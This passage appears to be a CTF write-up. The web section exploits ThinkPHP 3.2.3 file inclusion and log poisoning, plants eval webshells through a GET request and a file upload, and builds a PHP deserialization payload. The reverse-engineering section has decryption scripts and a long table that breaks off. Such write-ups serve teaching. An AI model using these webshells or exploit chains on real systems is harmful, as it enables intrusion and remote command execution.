WEB:
eztp1
给源码了thinkphp3.2.3
,index
路由有个textBox
方法,简单的设置参数和渲染,
3.2.3
有个文件包含,关键点就是File.class.php
里的变量覆盖,但是这边assign
方法的第一个参数定死了,所以这里其实没办法覆盖filename
。
上边有个parse_str
函数去解析post.query
变量覆盖,继续往下看$this->display(T("Home@default/list"));
这里去渲染了list.html
,调用W
方法,重点应该在这parse_str
函数和W
方法
看渲染成功生产的php页面,这里调用W
方法并且传入的 参数param
是可控的
一路跟进到R
方法,这里去调用call_user_func_array
可以看到函数名是定死的Home\Widget\queryWidget
但是参数可控param
(就是我们传入的query) 通过$this->assign("array",$array);
赋值给了array
继续跟queryWidget
这里把array
数组里的name、tag、id
作为参数调用B
方法。
B
方法里直接调用\Think\Hook::exec
,注意这里跟的时候必须得传name
和id
参数query=name%253d1%2526id%3d1%2526tag%3d1
,不然不会进入if
到这里直接下一步,可以看到exec方法里可以执行任意类的任意方法并且参数可控,唯一的限制就是只能有一个参数。
这里直接用那个文件包含漏洞File.class.php
里的file.load
,可以任意文件包含,直接读文件试试
query=name%253d\Think\Storage\Driver\File%2526id%3d/etc/passwd%2526tag%3dload
读成功了
但是在题目环境里没有找到flag,利用包含日志文件getshell
构造报错,注意要用bp发,浏览器会自动编码。
GET /index.php?m=--><?=eval($_GET['cmd']);?> HTTP/1.1Host: 172.16.30.172:58002Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
接着包含日志文件就行了
POST /?m=Home&c=Index&a=textBox&cmd=system('cat+/Secret_is_h3re'); HTTP/1.1Host: 172.16.30.172:58002Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 110Content-Type: application/x-www-form-urlencodedquery=name%253d\Think\Storage\Driver\File%2526id%3dApplication/Runtime/Logs/Common/22_06_18.log%2526tag%3dload
Identity2:
打开题目,根据提示发送请求包,抓取响应包:
将GuessWhatThis1sY0urIdentity
再次提交得到文件上传地址h1dden_p4ge.php
经过一系列测试能够得到以下结论:
<? 被过滤 后缀名会被截取,再次拼接到文件名中中间件版本Apache/2.4.7
因此使用木马如下
<script language="pHp">@eval($_POST['sb'])</script>
后缀会被拼接,大小写能够绕过,只要是php结尾,拼接无所谓呀
因此构建文件名:
Husins.jpg.Php
上传之后访问,连接蚁剑
拿到flag
ezssti:
直接tplmap
一把梭,嗦就完事了
ezser3:
反序列化链
B __destruct >A __get=>A __get=>A __call=>C getFlag
设置$this->functions
为array("_name"=>array(new C(),'getFlag'))
这样调用call_user_func_array($this->functions[$name],$arg)
时相当于调用call_user_func_array(array("_name"=>array(new C(),'getFlag')),$arg)
。
但是这里A
类的wakeup
方法会制空,需要绕过__wakeup
方法,通过回包可以看到PHP版本为8,这样就没办法用修改大小的方法绕过了。
public function __wakeup(){echo "serA";$this->functions = [];}
利用R:2
;元素。它的意思是“引用第二个值”, 作用相当于是指针。
$a = ["foo"];$a[1] =& $a[0];a:2:{i:0;s:3:"foo";i:1;R:2;}
这里相当于a数组的第二个参数引用整个序列化数组的第二个值也就是foo,或者也可以直接引用变量,这样当变量改变时,引用他的值也会随之改变。回到题目B
类的wakeup
函数有个赋值操作。
$this->a = $this->b;
如果B
类的__wakeup
反序列化时调用在A
类的__wakeup
之后,我们将
A
的$this->functions
引用为$a
再设置$b 为array("_name"=>array(new C(),'getFlag'))
这样就可以在$this->functions
制空之后,在重新赋值。这样就相当于绕过了A
类的__wakeup
本地测试一下调用顺序,可以看到B类的
反序列化时调用顺序没问题构造payload
<?phperror_reporting(0);class A{private $functions=9999;public function __wakeup(){echo "serA";$this->functions = [];}public function __call($name,$arg){call_user_func_array($this->functions[$name],$arg);}public function __get($name){$this->__call($name,[]);}}class B{private $a;private $b;public $c;public function __construct(){$this->b=array("_name"=>array(new C(),'getFlag'));}public function __destruct(){$this->b=array("_name"=>array(new C(),'getFlag'));echo "serB1";echo $this->c->_name;}public function __wakeup(){echo "serB2";$this->a = $this->b;}}class C{public function getFlag(){echo file_get_contents("/etc/passwd");}}$a1 = new B();$a2 = new A();$a1->c = $a2;echo serialize($a1);echo urlencode(serialize($a1));echo urlencode(str_replace("i:9999","R:2",serialize($a1)));
因为有私有参数,所以得url编码一下
Payload
O%3A1%3A%22B%22%3A3%3A%7Bs%3A4%3A%22%00B%00a%22%3BN%3Bs%3A4%3A%22%00B%00b%22%3Ba%3A1%3A%7Bs%3A5%3A%22_name%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22C%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7Ds%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A12%3A%22%00A%00functions%22%3BR%3A2%3B%7D%7D
RE
easycpp1:
逆向得出加密算法如下
flag = 'flag{12345678876543211234567887654321}'flag_c = []f = []for i in range(38):flag_c.append(ord(flag[i]))print flag_cfor i in range(35):flag_c[i] = flag_c[i]^flag_c[i+1]flag_c[i+1] = flag_c[i+1]^flag_c[i+2]flag_c[i+2] = flag_c[i+2]^flag_c[i+3]for i in range(38):f.append(hex(flag_c[i]))print fprint len(f)
写出解密算法
cipher = [0x0A, 0x0B, 0x7D, 0x2F, 0x7F, 0x67, 0x65, 0x30, 0x63, 0x60, 0x37, 0x3F, 0x3C, 0x3F, 0x33, 0x3A,0x3C, 0x3B, 0x35, 0x3C, 0x3E, 0x6C, 0x64, 0x31, 0x64, 0x6C, 0x3B, 0x68, 0x61, 0x62, 0x65, 0x36,0x33, 0x60, 0x62, 0x36, 0x1C, 0x7D]f = ''cipher = cipher[::-1]flag = ''for i in range(35):cipher[i+1] = (cipher[i]^cipher[i+1])cipher[i+2] = (cipher[i+1]^cipher[i+2])cipher[i+3] = (cipher[i+2]^cipher[i+3])cipher = cipher[::-1]for x in range(38):flag += chr(cipher[x])print flag
hana3:
IDA打开发现段名称为vmp
,仔细检查发现实际加壳为upx
,只是将段名进行了修改。把段名改回为UPX
,使用upx -d
可以将壳脱下。
静态审计发现并未找到报错信息Wrong,直接使用动态调试断在输入处,通过查找栈回溯可以找到关键逻辑处理的地方。
向下可以找到check
处。
输入测试数据格式为flag{},通过观察输入测试数据加密过后的密文和flag的密文,猜测为xor运算,反查直接得到key,这样可以省去逆向的过程。使用exp直接解密验证。
cip = [0x56,0xEC,0xA0,0xDC,0x57,0x06,0xFE,0xA3,0xEB,0x72,0xEA,0x97,0xE2,0x87,0x03,0xAA,0x18,0x6A,0xF3,0xBE,0xBD,0xDA,0x79,0x0A,0x98,0x36,0x12,0x5C,0xE0,0x94,0x61,0x5A, 0x42,0xBC,0x4B,0x01,0x49,0x7B,0x5F]flag = 'flag{12345678876543211234567887654321}'cip2 = [0x56,0xEC,0xA0,0xDC,0x57,0x07,0xF4,0xA3,0xE9,0x77,0xBF,0x93,0xBC,0x86,0x52,0xA5,0x14,0x6A,0xA5,0xBD,0xB5,0xD2,0x7F,0x0B,0x9B,0x67,0x1D,0x08,0xEF,0xC9,0x32,0x5D,0x43,0xED,0x1E,0x01,0x4B,0x7B,0x01]flag2 = ''key = []for i in range(len(flag)):key.append(ord(flag[i])^cip[i])print keyfor i in range(len(key)):flag2 += chr(key[i]^cip2[i])print flag2
Crackme1
这题利用jadx-gui
打开
查看发现密文是每4位进行一个md5加密 分开解密即可
happymath
使用ida打开,通过Wrong字符交叉引用找到主要部分
首先限制了输入范围97-102
或者48-57
调整v4、v7爆破即可
#include <iostream>#include <cstdio>#include <cstring>using namespace std;int main(){unsigned int dword_140024630[] = {0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, 0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E, 0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351, 0x00000000, 0x13A29877, 0x274530EE, 0x34E7A899, 0x4E8A61DC, 0x5D28F9AB, 0x69CF5132, 0x7A6DC945, 0x9D14C3B8, 0x8EB65BCF, 0xBA51F356, 0xA9F36B21, 0xD39EA264, 0xC03C3A13, 0xF4DB928A, 0xE7790AFD, 0x3FC5F181, 0x2C6769F6, 0x1880C16F, 0x0B225918, 0x714F905D, 0x62ED082A, 0x560AA0B3, 0x45A838C4, 0xA2D13239, 0xB173AA4E, 0x859402D7, 0x96369AA0, 0xEC5B53E5, 0xFFF9CB92, 0xCB1E630B, 0xD8BCFB7C, 0x7F8BE302, 0x6C297B75, 0x58CED3EC, 0x4B6C4B9B, 0x310182DE, 0x22A31AA9, 0x1644B230, 0x05E62A47, 0xE29F20BA, 0xF13DB8CD, 0xC5DA1054, 0xD6788823, 0xAC154166, 0xBFB7D911, 0x8B507188, 0x98F2E9FF, 0x404E1283, 0x53EC8AF4, 0x670B226D, 0x74A9BA1A, 0x0EC4735F, 0x1D66EB28, 0x298143B1, 0x3A23DBC6, 0xDD5AD13B, 0xCEF8494C, 0xFA1FE1D5, 0xE9BD79A2, 0x93D0B0E7, 0x80722890, 0xB4958009, 0xA737187E, 0xFF17C604, 0xECB55E73, 0xD852F6EA, 0xCBF06E9D, 0xB19DA7D8, 0xA23F3FAF, 0x96D89736, 0x857A0F41, 0x620305BC, 0x71A19DCB, 0x45463552, 0x56E4AD25, 0x2C896460, 0x3F2BFC17, 0x0BCC548E, 0x186ECCF9, 0xC0D23785, 0xD370AFF2, 0xE797076B, 0xF4359F1C, 0x8E585659, 0x9DFACE2E, 0xA91D66B7, 0xBABFFEC0, 0x5DC6F43D, 0x4E646C4A, 0x7A83C4D3, 0x69215CA4, 0x134C95E1, 0x00EE0D96, 0x3409A50F, 0x27AB3D78, 0x809C2506, 0x933EBD71, 0xA7D915E8, 0xB47B8D9F, 0xCE1644DA, 0xDDB4DCAD, 0xE9537434, 0xFAF1EC43, 0x1D88E6BE, 0x0E2A7EC9, 0x3ACDD650, 0x296F4E27, 0x53028762, 0x40A01F15, 0x7447B78C, 0x67E52FFB, 0xBF59D487, 0xACFB4CF0, 0x981CE469, 0x8BBE7C1E, 0xF1D3B55B, 0xE2712D2C, 0xD69685B5, 0xC5341DC2, 0x224D173F, 0x31EF8F48, 0x050827D1, 0x16AABFA6, 0x6CC776E3, 0x7F65EE94, 0x4B82460D, 0x5820DE7A, 0xFBC3FAF9, 0xE861628E, 0xDC86CA17, 0xCF245260, 0xB5499B25, 0xA6EB0352, 0x920CABCB, 0x81AE33BC, 0x66D73941, 0x7575A136, 0x419209AF, 0x523091D8, 0x285D589D, 0x3BFFC0EA, 0x0F186873, 0x1CBAF004, 0xC4060B78, 0xD7A4930F, 0xE3433B96, 0xF0E1A3E1, 0x8A8C6AA4, 0x992EF2D3, 0xADC95A4A, 0xBE6BC23D, 0x5912C8C0, 0x4AB050B7, 0x7E57F82E, 0x6DF56059, 0x1798A91C, 0x043A316B, 0x30DD99F2, 0x237F0185, 0x844819FB, 0x97EA818C, 0xA30D2915, 0xB0AFB162, 0xCAC27827, 0xD960E050, 0xED8748C9, 0xFE25D0BE, 0x195CDA43, 0x0AFE4234, 0x3E19EAAD, 0x2DBB72DA, 0x57D6BB9F, 0x447423E8, 0x70938B71, 0x63311306, 0xBB8DE87A, 0xA82F700D, 0x9CC8D894, 0x8F6A40E3, 0xF50789A6, 0xE6A511D1, 0xD242B948, 0xC1E0213F, 0x26992BC2, 0x353BB3B5, 0x01DC1B2C, 0x127E835B, 0x68134A1E, 0x7BB1D269, 0x4F567AF0, 0x5CF4E287, 0x04D43CFD, 0x1776A48A, 0x23910C13, 0x30339464, 0x4A5E5D21, 0x59FCC556, 0x6D1B6DCF, 0x7EB9F5B8, 0x99C0FF45, 0x8A626732, 0xBE85CFAB, 0xAD2757DC, 0xD74A9E99, 0xC4E806EE, 0xF00FAE77, 0xE3AD3600, 0x3B11CD7C, 0x28B3550B, 0x1C54FD92, 0x0FF665E5, 0x759BACA0, 0x663934D7, 0x52DE9C4E, 0x417C0439, 0xA6050EC4, 0xB5A796B3, 0x81403E2A, 0x92E2A65D, 0xE88F6F18, 0xFB2DF76F, 0xCFCA5FF6, 0xDC68C781, 0x7B5FDFFF, 0x68FD4788, 0x5C1AEF11, 0x4FB87766, 0x35D5BE23, 0x26772654, 0x12908ECD, 0x013216BA, 0xE64B1C47, 0xF5E98430, 0xC10E2CA9, 0xD2ACB4DE, 0xA8C17D9B, 0xBB63E5EC, 0x8F844D75, 0x9C26D502, 0x449A2E7E, 0x5738B609, 0x63DF1E90, 0x707D86E7, 0x0A104FA2, 0x19B2D7D5, 0x2D557F4C, 0x3EF7E73B, 0xD98EEDC6, 0xCA2C75B1, 0xFECBDD28, 0xED69455F, 0x97048C1A, 0x84A6146D, 0xB041BCF4, 0xA3E32483, 0x00000000, 0xA541927E, 0x4F6F520D, 0xEA2EC073, 0x9EDEA41A, 0x3B9F3664, 0xD1B1F617, 0x74F06469, 0x38513EC5, 0x9D10ACBB, 0x773E6CC8, 0xD27FFEB6, 0xA68F9ADF, 0x03CE08A1, 0xE9E0C8D2, 0x4CA15AAC, 0x70A27D8A, 0xD5E3EFF4, 0x3FCD2F87, 0x9A8CBDF9, 0xEE7CD990, 0x4B3D4BEE, 0xA1138B9D, 0x045219E3, 0x48F3434F, 0xEDB2D131, 0x079C1142, 0xA2DD833C, 0xD62DE755, 0x736C752B, 0x9942B558, 0x3C032726, 0xE144FB14, 0x4405696A, 0xAE2BA919, 0x0B6A3B67, 0x7F9A5F0E, 0xDADBCD70, 0x30F50D03, 0x95B49F7D, 0xD915C5D1, 0x7C5457AF, 0x967A97DC, 0x333B05A2, 0x47CB61CB, 0xE28AF3B5, 0x08A433C6, 0xADE5A1B8, 0x91E6869E, 0x34A714E0, 0xDE89D493, 0x7BC846ED, 0x0F382284, 0xAA79B0FA, 0x40577089, 0xE516E2F7, 0xA9B7B85B, 0x0CF62A25, 0xE6D8EA56, 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0x62C7BF91, 0xC7862DEF, 0xFB850AC9, 0x5EC498B7, 0xB4EA58C4, 0x11ABCABA, 0x655BAED3, 0xC01A3CAD, 0x2A34FCDE, 0x8F756EA0, 0xC3D4340C, 0x6695A672, 0x8CBB6601, 0x29FAF47F, 0x5D0A9016, 0xF84B0268, 0x1265C21B, 0xB7245065, 0x6A638C57, 0xCF221E29, 0x250CDE5A, 0x804D4C24, 0xF4BD284D, 0x51FCBA33, 0xBBD27A40, 0x1E93E83E, 0x5232B292, 0xF77320EC, 0x1D5DE09F, 0xB81C72E1, 0xCCEC1688, 0x69AD84F6, 0x83834485, 0x26C2D6FB, 0x1AC1F1DD, 0xBF8063A3, 0x55AEA3D0, 0xF0EF31AE, 0x841F55C7, 0x215EC7B9, 0xCB7007CA, 0x6E3195B4, 0x2290CF18, 0x87D15D66, 0x6DFF9D15, 0xC8BE0F6B, 0xBC4E6B02, 0x190FF97C, 0xF321390F, 0x5660AB71, 0x4C42F79A, 0xE90365E4, 0x032DA597, 0xA66C37E9, 0xD29C5380, 0x77DDC1FE, 0x9DF3018D, 0x38B293F3, 0x7413C95F, 0xD1525B21, 0x3B7C9B52, 0x9E3D092C, 0xEACD6D45, 0x4F8CFF3B, 0xA5A23F48, 0x00E3AD36, 0x3CE08A10, 0x99A1186E, 0x738FD81D, 0xD6CE4A63, 0xA23E2E0A, 0x077FBC74, 0xED517C07, 0x4810EE79, 0x04B1B4D5, 0xA1F026AB, 0x4BDEE6D8, 0xEE9F74A6, 0x9A6F10CF, 0x3F2E82B1, 0xD50042C2, 0x7041D0BC, 0xAD060C8E, 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0x6EA2D55C, 0x56B3BAF0, 0x1E800A04, 0x269165A8, 0x8EE76BEC, 0xB6F60440, 0xFEC5B4B4, 0xC6D4DB18, 0xABC5DECD, 0x93D4B161, 0xDBE70195, 0xE3F66E39, 0x4B80607D, 0x73910FD1, 0x3BA2BF25, 0x03B3D089, 0xE180B48F, 0xD991DB23, 0x91A26BD7, 0xA9B3047B, 0x01C50A3F, 0x39D46593, 0x71E7D567, 0x49F6BACB, 0x24E7BF1E, 0x1CF6D0B2, 0x54C56046, 0x6CD40FEA, 0xC4A201AE, 0xFCB36E02, 0xB480DEF6, 0x8C91B15A, 0x750A600B, 0x4D1B0FA7, 0x0528BF53, 0x3D39D0FF, 0x954FDEBB, 0xAD5EB117, 0xE56D01E3, 0xDD7C6E4F, 0xB06D6B9A, 0x887C0436, 0xC04FB4C2, 0xF85EDB6E, 0x5028D52A, 0x6839BA86, 0x200A0A72, 0x181B65DE, 0xFA2801D8, 0xC2396E74, 0x8A0ADE80, 0xB21BB12C, 0x1A6DBF68, 0x227CD0C4, 0x6A4F6030, 0x525E0F9C, 0x3F4F0A49, 0x075E65E5, 0x4F6DD511, 0x777CBABD, 0xDF0AB4F9, 0xE71BDB55, 0xAF286BA1, 0x9739040D, 0x59F3BFF2, 0x61E2D05E, 0x29D160AA, 0x11C00F06, 0xB9B60142, 0x81A76EEE, 0xC994DE1A, 0xF185B1B6, 0x9C94B463, 0xA485DBCF, 0xECB66B3B, 0xD4A70497, 0x7CD10AD3, 0x44C0657F, 0x0CF3D58B, 0x34E2BA27, 0xD6D1DE21, 0xEEC0B18D, 0xA6F30179, 0x9EE26ED5, 0x36946091, 0x0E850F3D, 0x46B6BFC9, 0x7EA7D065, 0x13B6D5B0, 0x2BA7BA1C, 0x63940AE8, 0x5B856544, 0xF3F36B00, 0xCBE204AC, 0x83D1B458, 0xBBC0DBF4, 0x425B0AA5, 0x7A4A6509, 0x3279D5FD, 0x0A68BA51, 0xA21EB415, 0x9A0FDBB9, 0xD23C6B4D, 0xEA2D04E1, 0x873C0134, 0xBF2D6E98, 0xF71EDE6C, 0xCF0FB1C0, 0x6779BF84, 0x5F68D028, 0x175B60DC, 0x2F4A0F70, 0xCD796B76, 0xF56804DA, 0xBD5BB42E, 0x854ADB82, 0x2D3CD5C6, 0x152DBA6A, 0x5D1E0A9E, 0x650F6532, 0x081E60E7, 0x300F0F4B, 0x783CBFBF, 0x402DD013, 0xE85BDE57, 0xD04AB1FB, 0x9879010F, 0xA0686EA3, 0x00000000, 0xEF306B19, 0xDB8CA0C3, 0x34BCCBDA, 0xB2F53777, 0x5DC55C6E, 0x697997B4, 0x8649FCAD, 0x6006181F, 0x8F367306, 0xBB8AB8DC, 0x54BAD3C5, 0xD2F32F68, 0x3DC34471, 0x097F8FAB, 0xE64FE4B2, 0xC00C303E, 0x2F3C5B27, 0x1B8090FD, 0xF4B0FBE4, 0x72F90749, 0x9DC96C50, 0xA975A78A, 0x4645CC93, 0xA00A2821, 0x4F3A4338, 0x7B8688E2, 0x94B6E3FB, 0x12FF1F56, 0xFDCF744F, 0xC973BF95, 0x2643D48C, 0x85F4168D, 0x6AC47D94, 0x5E78B64E, 0xB148DD57, 0x370121FA, 0xD8314AE3, 0xEC8D8139, 0x03BDEA20, 0xE5F20E92, 0x0AC2658B, 0x3E7EAE51, 0xD14EC548, 0x570739E5, 0xB83752FC, 0x8C8B9926, 0x63BBF23F, 0x45F826B3, 0xAAC84DAA, 0x9E748670, 0x7144ED69, 0xF70D11C4, 0x183D7ADD, 0x2C81B107, 0xC3B1DA1E, 0x25FE3EAC, 0xCACE55B5, 0xFE729E6F, 0x1142F576, 0x970B09DB, 0x783B62C2, 0x4C87A918, 0xA3B7C201, 0x0E045BEB, 0xE13430F2, 0xD588FB28, 0x3AB89031, 0xBCF16C9C, 0x53C10785, 0x677DCC5F, 0x884DA746, 0x6E0243F4, 0x813228ED, 0xB58EE337, 0x5ABE882E, 0xDCF77483, 0x33C71F9A, 0x077BD440, 0xE84BBF59, 0xCE086BD5, 0x213800CC, 0x1584CB16, 0xFAB4A00F, 0x7CFD5CA2, 0x93CD37BB, 0xA771FC61, 0x48419778, 0xAE0E73CA, 0x413E18D3, 0x7582D309, 0x9AB2B810, 0x1CFB44BD, 0xF3CB2FA4, 0xC777E47E, 0x28478F67, 0x8BF04D66, 0x64C0267F, 0x507CEDA5, 0xBF4C86BC, 0x39057A11, 0xD6351108, 0xE289DAD2, 0x0DB9B1CB, 0xEBF65579, 0x04C63E60, 0x307AF5BA, 0xDF4A9EA3, 0x5903620E, 0xB6330917, 0x828FC2CD, 0x6DBFA9D4, 0x4BFC7D58, 0xA4CC1641, 0x9070DD9B, 0x7F40B682, 0xF9094A2F, 0x16392136, 0x2285EAEC, 0xCDB581F5, 0x2BFA6547, 0xC4CA0E5E, 0xF076C584, 0x1F46AE9D, 0x990F5230, 0x763F3929, 0x4283F2F3, 0xADB399EA, 0x1C08B7D6, 0xF338DCCF, 0xC7841715, 0x28B47C0C, 0xAEFD80A1, 0x41CDEBB8, 0x75712062, 0x9A414B7B, 0x7C0EAFC9, 0x933EC4D0, 0xA7820F0A, 0x48B26413, 0xCEFB98BE, 0x21CBF3A7, 0x1577387D, 0xFA475364, 0xDC0487E8, 0x3334ECF1, 0x0788272B, 0xE8B84C32, 0x6EF1B09F, 0x81C1DB86, 0xB57D105C, 0x5A4D7B45, 0xBC029FF7, 0x5332F4EE, 0x678E3F34, 0x88BE542D, 0x0EF7A880, 0xE1C7C399, 0xD57B0843, 0x3A4B635A, 0x99FCA15B, 0x76CCCA42, 0x42700198, 0xAD406A81, 0x2B09962C, 0xC439FD35, 0xF08536EF, 0x1FB55DF6, 0xF9FAB944, 0x16CAD25D, 0x22761987, 0xCD46729E, 0x4B0F8E33, 0xA43FE52A, 0x90832EF0, 0x7FB345E9, 0x59F09165, 0xB6C0FA7C, 0x827C31A6, 0x6D4C5ABF, 0xEB05A612, 0x0435CD0B, 0x308906D1, 0xDFB96DC8, 0x39F6897A, 0xD6C6E263, 0xE27A29B9, 0x0D4A42A0, 0x8B03BE0D, 0x6433D514, 0x508F1ECE, 0xBFBF75D7, 0x120CEC3D, 0xFD3C8724, 0xC9804CFE, 0x26B027E7, 0xA0F9DB4A, 0x4FC9B053, 0x7B757B89, 0x94451090, 0x720AF422, 0x9D3A9F3B, 0xA98654E1, 0x46B63FF8, 0xC0FFC355, 0x2FCFA84C, 0x1B736396, 0xF443088F, 0xD200DC03, 0x3D30B71A, 0x098C7CC0, 0xE6BC17D9, 0x60F5EB74, 0x8FC5806D, 0xBB794BB7, 0x544920AE, 0xB206C41C, 0x5D36AF05, 0x698A64DF, 0x86BA0FC6, 0x00F3F36B, 0xEFC39872, 0xDB7F53A8, 0x344F38B1, 0x97F8FAB0, 0x78C891A9, 0x4C745A73, 0xA344316A, 0x250DCDC7, 0xCA3DA6DE, 0xFE816D04, 0x11B1061D, 0xF7FEE2AF, 0x18CE89B6, 0x2C72426C, 0xC3422975, 0x450BD5D8, 0xAA3BBEC1, 0x9E87751B, 0x71B71E02, 0x57F4CA8E, 0xB8C4A197, 0x8C786A4D, 0x63480154, 0xE501FDF9, 0x0A3196E0, 0x3E8D5D3A, 0xD1BD3623, 0x37F2D291, 0xD8C2B988, 0xEC7E7252, 0x034E194B, 0x8507E5E6, 0x6A378EFF, 0x5E8B4525, 0xB1BB2E3C, 0x00000000, 0x68032CC8, 0xD0065990, 0xB8057558, 0xA5E0C5D1, 0xCDE3E919, 0x75E69C41, 0x1DE5B089, 0x4E2DFD53, 0x262ED19B, 0x9E2BA4C3, 0xF628880B, 0xEBCD3882, 0x83CE144A, 0x3BCB6112, 0x53C84DDA, 0x9C5BFAA6, 0xF458D66E, 0x4C5DA336, 0x245E8FFE, 0x39BB3F77, 0x51B813BF, 0xE9BD66E7, 0x81BE4A2F, 0xD27607F5, 0xBA752B3D, 0x02705E65, 0x6A7372AD, 0x7796C224, 0x1F95EEEC, 0xA7909BB4, 0xCF93B77C, 0x3D5B83BD, 0x5558AF75, 0xED5DDA2D, 0x855EF6E5, 0x98BB466C, 0xF0B86AA4, 0x48BD1FFC, 0x20BE3334, 0x73767EEE, 0x1B755226, 0xA370277E, 0xCB730BB6, 0xD696BB3F, 0xBE9597F7, 0x0690E2AF, 0x6E93CE67, 0xA100791B, 0xC90355D3, 0x7106208B, 0x19050C43, 0x04E0BCCA, 0x6CE39002, 0xD4E6E55A, 0xBCE5C992, 0xEF2D8448, 0x872EA880, 0x3F2BDDD8, 0x5728F110, 0x4ACD4199, 0x22CE6D51, 0x9ACB1809, 0xF2C834C1, 0x7AB7077A, 0x12B42BB2, 0xAAB15EEA, 0xC2B27222, 0xDF57C2AB, 0xB754EE63, 0x0F519B3B, 0x6752B7F3, 0x349AFA29, 0x5C99D6E1, 0xE49CA3B9, 0x8C9F8F71, 0x917A3FF8, 